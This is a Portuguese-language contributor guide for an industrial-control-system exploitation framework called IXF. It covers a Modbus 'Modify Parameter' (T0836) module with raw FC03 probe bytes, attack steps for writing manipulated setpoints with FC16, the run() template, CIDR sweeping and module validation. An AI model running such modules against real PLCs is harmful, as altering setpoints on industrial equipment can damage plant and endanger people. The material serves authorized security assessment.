DestructiveGate.print_simulation(
description=(
"MITRE ATT&CK for ICS T0836: Modify Parameter\n\n"
"Técnica: Adversários modificam parâmetros operacionais (setpoints,\n"
" ganhos PID, thresholds) para afetar o processo físico.\n\n"
f"Alvo: {self.target}:{self.port} (Unit {self.unit_id})\n\n"
"Passo 1: FC03 Read Holding Registers para descobrir setpoints atuais\n"
"Passo 2: Identificar registradores críticos (pressão, temperatura, fluxo)\n"
"Passo 3: FC16 Write Multiple Registers com valores manipulados\n"
"Passo 4: Valores alterados permanecem até o operador restaurar manualmente\n\n"
"Assessment: Verificar se escrita não autorizada a registradores é possível"
),
mitre_techniques=["T0836"],
)
return
# Assessment ao vivo — somente leitura (check se escrita seria possível)
import socket
import struct
print_status("Executando assessment T0836 em {}:{}...".format(self.target, self.port))
try:
s = socket.socket()
s.settimeout(5)
s.connect((self.target, self.port))
# FC03 Read Holding Registers (somente leitura — apenas verificando)
mbap = struct.pack(">HHHBB HH", 1, 0, 6, self.unit_id, 3, 0, 10)
s.send(mbap)
resp = s.recv(64)
if len(resp) >= 9 and resp[7] == 3:
print_success("Leitura de holding registers bem-sucedida (FC03).")
print_info("Holding registers 0-9 são acessíveis em leitura.")
print_warning(
"[T0836] Dispositivo aceita leitura sem autenticação.\n"
" Escrita também pode ser possível — teste manual necessário.\n"
" Recomendação: Implementar controle de acesso por FC e source IP."
)
else:
print_info("Dispositivo rejeitou leitura ou retornou exceção Modbus.")
s.close()
except Exception as exc:
print_warning("Erro de conexão: {}".format(exc))
# Exibir checklist de assessment
print_info("\nChecklist T0836 — Modificação de Parâmetro:")
print_info(" [ ] Escrita Modbus FC16 requer autenticação?")
print_info(" [ ] Setpoints têm validação de intervalo no PLC?")
print_info(" [ ] Alarmes são acionados em mudanças de setpoint?")
print_info(" [ ] Log de auditoria registra escritas em registradores?")
print_info(" [ ] Segmentação de rede impede acesso Modbus não autorizado?")@mute
def check(self) -> bool:
"""Verificar acessibilidade TCP pura."""
if not self.target:
return False
try:
s = socket.socket()
s.settimeout(5)
s.connect((self.target, self.port))
s.close()
return True
except Exception:
return False@mute
def check(self) -> bool:
"""Verificar se alvo responde com protocolo específico."""
if not self.target:
return False
try:
s = socket.socket()
s.settimeout(5)
s.connect((self.target, self.port))
# Enviar requisição de sonda específica de protocolo
s.send(b"\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01") # Modbus FC03
resp = s.recv(32)
s.close()
# Validar que resposta tem pelo menos 9 bytes e bit de exceção não está definido
return len(resp) >= 9 and resp[7] < 0x80
except Exception:
return False@mute
def check(self) -> bool:
"""Verificar serviço UDP."""
if not self.target:
return False
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(3)
s.sendto(b"\x01\x00\x00\x00\x00\x00\x00\x00", (self.target, self.port))
resp, _ = s.recvfrom(64)
s.close()
return len(resp) > 0
except Exception:
return False@mute
def check(self) -> bool:
"""Verificar se aplicação web alvo está acessível."""
if not self.target:
return False
try:
import urllib.request
url = "http://{}:{}/".format(self.target, self.port)
with urllib.request.urlopen(url, timeout=5) as resp:
return resp.status < 500
except Exception:
return False@mute
def check(self) -> bool:
"""Verificar se versão alvo está dentro do intervalo vulnerável."""
if not self.target:
return False
try:
s = socket.socket()
s.settimeout(5)
s.connect((self.target, self.port))
banner = s.recv(256).decode("ascii", errors="replace")
s.close()
# Verificar se versão vulnerável está no banner
return "Firmware V2." in banner or "Firmware V3." in banner
except Exception:
return FalseTodo run() DEVE seguir este padrão:
def run(self) -> None:
"""Padrão run() completo."""
# 1. Guard: verificar opções obrigatórias
if not self.target:
print_error("Defina a opção 'target' primeiro.")
return
# 2. Ramo simulate — SEMPRE primeiro, SEMPRE retornar após
if self.simulate:
DestructiveGate.print_simulation(
description="Descrição passo a passo do ataque...",
payload_hex="00 01 00 00 ...", # Opcional
payload_human="Legível por humanos", # Opcional
mitre_techniques=["T0836"], # Deve corresponder a __info__
)
return # CRÍTICO: SEMPRE retornar aqui
# 3. Ramo ao vivo — execute apenas se simulate=False AND destructive=True
# O DestructiveGate no shell já verificou confirmação antes de chegar aqui
print_status("Executando {}...".format(self.target))
try:
# ... lógica de exploit ao vivo ...
print_success("Exploit bem-sucedido.")
except ConnectionRefusedError:
print_error("Conexão recusada.")
except socket.timeout:
print_error("Timeout.")
except Exception as exc:
print_error("Erro: {}".format(exc))DestructiveGate.print_simulation(
description="...", # str — obrigatório
payload_hex="00 AA BB ...", # str — opcional, truncado em 120 chars
payload_human="...", # str — opcional
mitre_techniques=["T0836"], # list[str] — opcional
)Regras:
-
description: Use\npara quebras de linha. Descreva cada fase e impacto físico. -
payload_hex: Bytes hexadecimais separados por espaço. Máx 120 chars antes da truncagem. -
mitre_techniques: Deve corresponder exatamente à lista__info__["mitre_techniques"].
Suprime toda saída de print_* quando o método decorado é chamado internamente (ex.: por search, check).
@mute
def check(self) -> bool:
"""SEMPRE decorar check() com @mute."""
...Por quê: Quando o IXF indexa módulos ou exibe resultados de pesquisa, ele pode chamar check() em cada módulo. Sem @mute, cada check() imprimiria saída, poluindo a tela.
Itera automaticamente sobre hosts quando um CIDR é fornecido como target. Sem @multi, target é tratado como um único IP.
from industrialxpl.core.exploit import multi
@multi
def run(self) -> None:
"""@multi expande automaticamente CIDRs em 192.168.1.0/24 → 254 hosts."""
# self.target aqui é um IP único da expansão do CIDR
print_status("Sondando {}...".format(self.target))Exemplo com @multi e @mute:
class Exploit(Exploit):
target = OptCIDR("", "IP ou sub-rede CIDR alvo")
...
@mute
def check(self) -> bool:
...
@multi # @multi deve ser o decorador EXTERNO (mais próximo de 'def')
def run(self) -> None:
# self.target é um único IP aqui
print_status("Sondando {}:{}...".format(self.target, self.port))Ordem dos decoradores (importante):
# CORRETO: @multi externo, @mute interno
@multi
@mute
def algum_metodo(self): ...
# TAMBÉM CORRETO para check():
@mute # apenas @mute em check()
def check(self): ...Após escrever um módulo, valide-o com:
python -m industrialxpl.tools.validate_module cve/siemens/cve_2021_22681_s7_1200_hardcoded_keySaída esperada:
[IXF Module Validator]
════════════════════════════════════════════════════════════
Módulo: cve/siemens/cve_2021_22681_s7_1200_hardcoded_key
Arquivo: industrialxpl/modules/cve/siemens/cve_2021_22681_s7_1200_hardcoded_key.py
[Verificações de Estrutura]
✓ Classe chamada 'Exploit'
✓ Herda de Exploit (base)
✓ __info__ definido como dicionário de classe
✓ check() implementado
✓ run() implementado
✓ @mute aplicado a check()
✓ simulate definido como OptBool
✓ destructive definido como OptBool
✓ target definido como OptIP ou OptCIDR
[Verificações de __info__]
✓ name: "CVE-2021-22681 Siemens S7-1200/1500 Hardcoded Crypto Key"
✓ description: presente (len=143)
✓ authors: ('IXF Team',)
✓ references: 3 URLs
✓ devices: 4 dispositivos
✓ impact: "CRITICAL" (válido)
✓ cve: "CVE-2021-22681" (formato válido)
✓ cvss: "10.0" (válido)
✓ mitre_techniques: ['T0843', 'T0821', 'T0866']
✓ mitre_tactics: ['Lateral Movement', 'Execution']
[Verificações de Opção]
✓ target: OptIP (obrigatório, padrão vazio)
✓ port: OptPort (padrão=102)
✓ slot: OptInteger (padrão=2)
✓ simulate: OptBool (padrão=True)
✓ destructive: OptBool (padrão=False)
[Verificação de Sintaxe]
✓ Análise AST bem-sucedida
✓ Sem imports não autorizados detectados
✓ Sem strings de credencial codificadas detectadas
[Teste de Simulação]
✓ run() em modo simulate não lança exceção
✓ Saída de simulação contém "SIMULATE" ou "simulate"
✓ print_simulation() chamado com mitre_techniques
[Resultado]
════════════════════════════════════════════════════════════
✓ MÓDULO VÁLIDO — pronto para submissão de PR
-
Fork o repositório e crie um branch de feature:
git checkout -b add-cve-2021-22681-siemens
-
Coloque o módulo no diretório correto conforme Regras de Posicionamento.
-
Crie
__init__.pyem qualquer novo diretório:touch industrialxpl/modules/cve/siemens/__init__.py
-
Valide o módulo:
python -m industrialxpl.tools.validate_module cve/siemens/cve_2021_22681_s7_1200_hardcoded_key
-
Teste o modo simulate do shell:
ixf > use cve/siemens/cve_2021_22681_s7_1200_hardcoded_key ixf > set target 127.0.0.1 ixf > runConfirmar que a saída de simulação é exibida sem erros.
-
Teste
show info:ixf > show infoConfirmar que todos os campos aparecem corretamente.
-
Teste
check:ixf > checkConfirmar que retorna sem imprimir output irrelevante.
-
Commit e push:
git add industrialxpl/modules/cve/siemens/cve_2021_22681_s7_1200_hardcoded_key.py git add industrialxpl/modules/cve/siemens/__init__.py git commit -m "Add CVE-2021-22681 Siemens S7-1200 hardcoded key module" git push origin add-cve-2021-22681-siemens -
Abra um PR no GitHub com:
- Descrição do que o módulo faz
- Referência ao CVE/advisory
- Saída do validador (deve ser "MÓDULO VÁLIDO")
- Dispositivos de teste (se disponíveis)
# ERRADO
class CVE202122681(Exploit): ...
# CORRETO
class Exploit(Exploit): ...O carregador de módulos IXF procura especificamente por Exploit. Qualquer outro nome causa um ImportError.
# ERRADO — opções dentro de __init__ não são descobertas pelo metaclass
def __init__(self):
self.target = OptIP("", "alvo") # NÃO FUNCIONAR
# CORRETO — opções como atributos de classe
class Exploit(Exploit):
target = OptIP("", "alvo") # CORRETO# ERRADO — código de exploit ao vivo executa mesmo em modo simulate
def run(self):
if self.simulate:
DestructiveGate.print_simulation(...)
# FALTA return — código abaixo executa!
# Código ao vivo aqui...
# CORRETO
def run(self):
if self.simulate:
DestructiveGate.print_simulation(...)
return # OBRIGATÓRIO
# Código ao vivo aqui...# ERRADO — check() sem @mute imprime saída durante search/info
def check(self):
print_status("Verificando...") # Imprime durante search!
...
# CORRETO
@mute
def check(self):
... # Silencioso externamente# ERRADO
"mitre_techniques": "T0836", # String, não lista!
# CORRETO
"mitre_techniques": ["T0836"], # Lista, mesmo com um item# NUNCA FAZER — credenciais reais em código
API_KEY = "sk-real-api-key-here"
PASSWORD = "admin123"
# CORRETO — usar opções configuráveis
password = OptString("", "Senha para testar")Anterior: Protocolos e Vendors | Próximo: CLI Não-Interativo